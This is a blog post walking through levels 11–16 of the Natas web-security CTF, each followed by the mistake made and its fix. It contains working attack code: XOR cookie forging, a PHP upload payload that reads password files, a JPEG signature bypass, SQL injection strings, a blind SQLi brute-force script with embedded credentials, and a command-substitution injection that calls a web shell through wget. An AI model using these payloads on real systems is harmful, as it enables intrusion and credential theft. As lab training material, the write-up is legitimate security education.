Natas CTF - Levels 11 to 16

Posted by Tom on 2012-12-07 12:01

As promised, here's the remaining levels of Over the Wire's Natas CTF. The first levels can be found here.

Obviously, spoilers ahoy . . .

******************************************************

Level 11

So let's talk about XOR encryption.

If P is our plaintext, K is our key and C is our ciphertext, then the following is true:

What does this mean? This means that it's trivial to get the key used to encrypt a message with a known plaintext attack. If we know what's going in and we know what's coming out then we can extract the key. Once we have the key we can encrypt our own messages.

import base64

cipher = base64.b64decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=')
clear = '{"showpassword":"no","bgcolor":"#ffffff"}'

result = ''
for i in range(len(clear)):
    result = result + chr(ord(cipher[i]) ^ ord(clear[i]))
print(result)

What this will spit out is the same string, repeated over and over. This is our key. So now we know the key we can encrypt our own string, place it into the cookie and reload the page.

import base64

payload = '{"showpassword":"yes","bgcolor":"#ffffff"}'

key = 'KEY_HERE'
out = ''
for i in range(len(payload)):
    out = out + chr(ord(payload[i]) ^ ord(key[i % len(key)]))

print(base64.b64encode(out))

The mistake: Trusting client input, again.

The solution: Don't trust the client blah blah blah. I'm getting bored of saying that. Also, don't use an XOR cipher for anything. Ever.

Level 12

File uploads are always ripe for exploitable, because they allow you to get your own code onto the target machine. We know from the pre-amble on the homepage that the list of passwords can be found in /etc/natas_webpass, so let's go get it.

<?php
    readfile('/etc/natas_webpass/natas13');

We also have to manipulate the filename that will be used when it's uploaded so that it's saved with a PHP extension and is therefore executed as such by the server. Luckily for us they include the filename that will be used by the when the upload is saved as a hidden form field. I have no idea why. Either way, we can change that on-the-fly using a proxy like Fiddler, or doctor the form in the page using Firebug. Or just do it all on the command line with wget or curl.

Either way, once your file is uploaded, browse to it's location to get your next password.

The mistake: Executable rights on the upload folder.

The solution: Limit the folder to read and write. Oh, and just for a change don't trust anything the client sends you (the filename, in this case).

Level 13

This is very similar to the previous level, except that the server attempts to verify that the file is a JPEG using PHP's exif_imagetype() function. A little bit of research tells us that the function works by checking for the presence of the JPEG signature in the first 4 bytes of the file.

It's trivial to add the JPEG signature (there are several I ended up using 0xffd8ffe0) to the front of your uploaded file before the first PHP tag and then just perform the same steps as level 12.

The mistake: See above.

The solution: See above.

Level 14

Ah, there had to be a SQL injection problem in here somewhere!

Since the query is being built by nailing user-supplied input directly into the SQL we can break out of the expected query and bend it to our will. For example, if instead of supplying a password I enter the following:

" or 1 or "

The query being sent from the database now turns from something like this:

SELECT * from users where username="foo" and password="bar"

Into this:

SELECT * from users where username="foo" and password="" or 1 or ""

Since this query will always return rows, the check will pass and we'll get our next password.

The mistake: Never build your SQL through raw string concatenation.

The solution: Stored procedures, parameterised queries, ORMs, data abstraction. It's actually more difficult to be vulnerable to this stuff than it to be secure these days.

Level 15

More database password shenanigans, but since the result of the query is never dumped to the page, we have to be a little more sneaky. The code is still vulnerable to SQLi, so we can test abritrary passwords easily enough using the following (the gubbins on the end finishes the query and causes the rest to be treated a comment so we don't end up with a malformed request to the database):

natas16" and password="foo";#

This will tell us the user doesn't exist if we guessed incorrectly. We can iterate through all of the potential passwords (let's go with the assumption the password follows the same format as the previous levels), but while brute-forcing in this way is possible, it's not viable. The worse-case scenario is that we'd have to test pow(62, 32) possibilities (which causes my calculator to run out of digits).

Thankfully we can use SQLi to check the characters of the password one at a time using SQL's LIKE operator. For example, if we enter the following as input:

natas16" and password like "a%";#

then we'll get a response from the server with either a yay or a nay. If we keep going we'll eventually get told the user exists once we've tried 3%, so we know the first character of the password is 3. We can now start on 3a% and work towards the second character. This allows us to check the characters of the password one at a time, so our search space is 62 * 32 passwords, which is much more civilised.

So here's what we end up with, using ye olde urllib, since I keep forgetting to install requests.

import urllib2
import time
import sys

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
headers={'Authorization': 'Basic bmF0YXMxNTptMmF6bGw3Skg2SFM4QXkzU09qRzNBR0dsREdUSlNUVg=='}

found = '' if len(sys.argv) == 1 else sys.argv[1]
for i in range(len(found), 32):
    for j in range(len(chars)):
        attempt = found + chars[j]
        query = "natas16%22%20and%20password%20like%20binary%20%22" + attempt + "%25%22%20%23"
        url = "http://natas15.natas.labs.overthewire.org/?debug&username=" + query
        request = urllib2.Request(url, headers=headers)
        response = urllib2.urlopen(request)
        result = response.read()
        if 'This user exists' in result:
            found = attempt
            break
        response.close()
        time.sleep(0.5)
        sys.stdout.write('.')
    print('\n' + found)

No real mystery in that code. It works through the password one character at a time, moving on to the next one whenever it finds a match. The only crafty bit in here is the use of the BINARY keyword to force a case sensitive search.

Start this running, and then find some way to kill time until it's worked its magic.

The mistake: SQL injection, again.

The solution: As above, if you're still vulnerable to SQLi in this day and age you should be tarred and feathered.

Level 16

It's a return to the halcyon days of levels 9 and 10!

If we take a closer look at the way the command is constructed we can see that dollar sign is missing from the blacklist. This means it's vulnerable to the use of $() for command substitution. The issue comes in how we exfiltrate the data . . .

Thankfully we can execute whatever code we want on the server as a result of Level 12. So I slung up a script that simply calls the PHP function passthru (which we came across in Level 12 and essentially runs arbitrary commands), taking it's input directly from the querystring. This is scrappier than it needs to be; I could have use a more specific script here, but it took me a while to get to the solution and this was part of a more general attempt.

$(wget --user=natas12 --password=sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu 
--header=Host:natas12.natas.labs.overthewire.org 
http://localhost/upload/YOUR_SCRIPT.php?cmd=echo%20$(cat /etc/natas_webpass/natas17)%20%3E%20woot.txt)

So it's all a bit matryoshka, but essentially this uses command substitution to execute wget, making a call to our command line script from level 12. We use command substitution a second time to grab the contents of the /etc/natas_webpass/natas17 file, so once we've done the second substitution and cleaned up the URL encoding the command which is run on the level 12 server is actually this:

echo ZE_PASSWORD > woot.txt

You can then simply browse to the woot.txt file on natas12 and collect our final flag!

The mistake: Same issues as level 10.

The solution: Aaaand the same solutions.

******************************************************

All in all it was a fun CTF with a pretty decent difficulty curve, and I'll probably go back and try out some of their others off the back of this.